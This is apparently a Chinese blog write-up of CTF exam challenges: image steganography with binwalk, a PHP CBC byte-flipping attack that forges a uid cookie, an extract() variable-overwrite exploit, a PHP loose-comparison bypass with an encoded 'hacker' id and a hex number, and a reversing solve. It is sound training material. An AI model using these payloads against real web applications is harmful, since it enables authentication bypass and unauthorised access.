pigctf期末测评

pigctf期末测评

MISC 1

拿到图片,先binwalk一下,如下图

果然发现png图片后面跟了个ZIP,然后提取出来打开发现了一个flag.png,然后查看16进制文件没有发现什么问题,之后查看属性发现分辨率为986470,但是大小为200kb左右,显然是不相匹配的,通过16进制编辑器修改分辨率为9861376,然后在图片的左下角发现flag,

FLAG{5mall_L1_15_5tup1d}

MISC 2

http://drops.wooyun.org/tips/7828
一道CBC字节翻转攻击问题

	<?php
		$enc = "S9PsFp43k9VgyrggRHLbISjUAjwzSSPPajrF9Dzz0o/ieSZbxwGjTJ5xhAZEi5tDBjvwsQtH0BynlLC0p0F0zOZMx25M6iekcLvX//MNKSA=";
		$enc = base64_decode($enc);
		echo "<br>".($enc)."<br>";
		$enc[47] = chr(ord($enc[47]) ^ ord("9") ^ ord ("1"));
		echo "<br>".($enc)."<br>"; 
		$c = base64_encode($enc);
		$d = urlencode($c);
		echo "Plaintext after attack : <br>$c<br>";
		echo "Plaintext after attack : <br>$d<br>";
		$e = @decrypt(base64_decode($c));
		$uid = substr($e,strpos($e,"uid")+4,1);
		echo 'uid:'.$uid.'<br/>';
		if ($uid == 1){
		        echo "<br>get the flag!!!";
		}
		else {
		        echo "false!";
		}
?>

得到翻转后的密文的base64加密值:
S9PsFp43k9VgyrggRHLbISjUAjwzSSPPajrF9Dzz0o/ieSZbxwGjTJ5xhAZEi5tLBjvwsQtH0BynlLC0p0F0zOZMx25M6iekcLvX//MNKSA=

修改COOKIE之后提交得到flag,

WEB 1

根据注释的提示,网页的源码由于使用extract,故存在变量覆盖,然后直接提交get请求http://45.78.61.235/web1/?auth=1,转到了一个新的页面,然后再响应头里面发现了flag

WEB 2

进入页面,看了源码、请求等待都没发现东西,然后试试robots.txt,也没有,然后想到备份文件,加上’~’发现了源码如下:

	<?php
	function checkIN($number){
		for($i = 0; $i < strlen($number); $i++){
			$dig = ord($number[$i]);
			if(($digit >= ord('1')) && ($digit <= ord('9'))){
				return false;
			}
		}

		return $number == '3722304989';
	}


	if(eregi("hacker", $_GET[id])){
		echo("<p> not allowed!</p>");
		exit();
	}
	 
	$_GET[id] = urldecode($_GET[id]);
	echo $_GET[id];
	if($_GET[id] == "hacker" && checkIN($_GET[num])){
		echo "<p> Access granted! </p>";
		echo "<p> flag:flag xxxxxxxxxxxxxxxxxx";

	}
?>

<br><br>
can you bypass it???

阅读之后判断是松散比较,构造下属请求如下:
http://45.78.61.235/web2/index.php?id=%68%61%63%6B%65%72&num=0xdddddddd
得到flag为
flag{Your_are_a_g00d_PHP_learner!}

REV 1

首先通过OD的关键字查找,发现了文本参考字串“wrong”

对该行附近的字串进行查看,发现跳转和获取输入的关键代码

通过输入,不同的数据,发现该算法实现的功能是将一段输入进行位置调换后异或,然后与程序自带文本进行比较。

通过几次实验输入,得到调换顺序和异或对象(斐波那契数列)。
得到最终结果:flag{H4ppyRev!}

原文地址:https://www.cnblogs.com/bendawang/p/5122569.html